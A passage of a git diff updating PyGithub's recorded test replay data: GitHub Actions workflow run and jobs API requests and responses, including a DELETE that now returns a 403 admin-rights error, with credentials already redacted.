('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1634274619'), ('X-RateLimit-Used', '6'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E6E2:25CB:1AFF04:1DC5D9:616902F2')] -{"id":1327550476,"name":"CI","node_id":"WFR_kwLOADYVqs5PINAM","head_branch":"python-310","head_sha":"952d71013bba0ca8027ff6aa4d707b966a2625f9","run_number":540,"event":"pull_request","status":"completed","conclusion":"failure","workflow_id":1903133,"check_suite_id":4014419209,"check_suite_node_id":"CS_kwDOADYVqs7vRy0J","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/1327550476","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/1327550476","pull_requests":[],"created_at":"2021-10-11T04:50:48Z","updated_at":"2021-10-11T04:51:10Z","run_attempt":1,"run_started_at":"2021-10-11T04:50:48Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/1327550476/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/1327550476/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/4014419209","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/1327550476/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/1327550476/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/1327550476/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133","head_commit":{"id":"952d71013bba0ca8027ff6aa4d707b966a2625f9","tree_id":"4f3ccf0128dbc73c849519d50fa63e702d2acdbd","message":"Add support for Python 3.10\n\nNow that Python 3.10 has been released, we should test it in CI.","timestamp":"2021-10-11T04:50:06Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":129349732,"node_id":"MDEwOlJlcG9zaXRvcnkxMjkzNDk3MzI=","name":"PyGithub","full_name":"s-t-e-v-e-n-k/PyGithub","private":false,"owner":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"html_url":"https://github.com/s-t-e-v-e-n-k/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub","forks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/forks","keys_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/teams","hooks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/events","assignees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/tags","blobs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/languages","stargazers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscription","commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/merges","archive_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/downloads","issues_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/deployments"}} +[('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f21ec6fcb14acc25564041c0c4db5b83978384c955ada9236f690c06e230a074"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '30'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '30'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBBA:12CC:709E:C082:63C15A79')] +{"id":3881497935,"name":"CI","node_id":"WFR_kwLOADYVqs7nWvVP","head_branch":"feat/workflow-run","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","path":".github/workflows/ci.yml","display_title":"TEST PR","run_number":930,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1903133,"check_suite_id":10279069747,"check_suite_node_id":"CS_kwDOADYVqs8AAAACZK4oMw","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935","pull_requests":[],"created_at":"2023-01-10T08:24:19Z","updated_at":"2023-01-10T08:28:20Z","actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2023-01-10T08:24:19Z","triggering_actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/10279069747","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133","head_commit":{"id":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","tree_id":"3ce398f9ee2571549b7fea545bfa5bf28e3ca0f5","message":"add attribute 'name' on WorkflowRun","timestamp":"2023-01-10T08:08:37Z","author":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"},"committer":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":587206601,"node_id":"R_kgDOIwAPyQ","name":"PyGithub","full_name":"nuang-ee/PyGithub","private":false,"owner":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"html_url":"https://github.com/nuang-ee/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/nuang-ee/PyGithub","forks_url":"https://api.github.com/repos/nuang-ee/PyGithub/forks","keys_url":"https://api.github.com/repos/nuang-ee/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nuang-ee/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nuang-ee/PyGithub/teams","hooks_url":"https://api.github.com/repos/nuang-ee/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/nuang-ee/PyGithub/events","assignees_url":"https://api.github.com/repos/nuang-ee/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/nuang-ee/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/tags","blobs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nuang-ee/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/nuang-ee/PyGithub/languages","stargazers_url":"https://api.github.com/repos/nuang-ee/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/nuang-ee/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscription","commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/nuang-ee/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/nuang-ee/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/nuang-ee/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nuang-ee/PyGithub/merges","archive_url":"https://api.github.com/repos/nuang-ee/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nuang-ee/PyGithub/downloads","issues_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/nuang-ee/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/nuang-ee/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/nuang-ee/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nuang-ee/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/nuang-ee/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/nuang-ee/PyGithub/deployments"}} https DELETE api.github.com None -/repos/PyGithub/PyGithub/actions/runs/1327550476 +/repos/PyGithub/PyGithub/actions/runs/3881497935 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None -204 -[('Server', 'GitHub.com'), ('Date', 'Fri, 15 Oct 2021 04:26:27 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1634274619'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'E6E4:25CA:8C5D5:B7A0F:616902F3')] - - +403 +[('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '29'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '31'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBBB:4B43:7BAC:CB5C:63C15A79')] +{"message":"Must have admin rights to Repository.","documentation_url":"https://docs.github.com/rest/reference/actions#delete-a-workflow-run"} diff --git a/tests/ReplayData/WorkflowRun.test_jobs.txt b/tests/ReplayData/WorkflowRun.test_jobs.txt new file mode 100644 index 0000000000..9617fd2d2b --- /dev/null +++ b/tests/ReplayData/WorkflowRun.test_jobs.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/actions/runs/3881497935/jobs +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 20 Jun 2023 06:27:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"96a5512fe26678095c0e1664a413e79b9bafe00b1fb6cb939dd09afd530010ad"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '37'), ('X-RateLimit-Reset', '1687245884'), ('X-RateLimit-Resource', 'core'), ('X-RateLimit-Used', '23'), ('Accept-Ranges', 'bytes'), ('Content-Length', '1275'), ('X-GitHub-Request-Id', '83BE:12914:3B912FB:3C20829:649146B8')] +{"total_count":5,"jobs":[{"id":10545727758,"run_id":3881497935,"workflow_name":"CI","head_branch":"feat/workflow-run","run_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","run_attempt":1,"node_id":"CR_kwDOADYVqs8AAAACdJMJDg","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/jobs/10545727758","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935/jobs/6620564740","status":"completed","conclusion":"success","created_at":"2023-01-10T08:24:21Z","started_at":"2023-01-10T08:24:28Z","completed_at":"2023-01-10T08:25:28Z","name":"test (Python 3.7)","steps":[{"name":"Set up job","status":"completed","conclusion":"success","number":1,"started_at":"2023-01-10T08:24:27.000Z","completed_at":"2023-01-10T08:24:29.000Z"},{"name":"Run 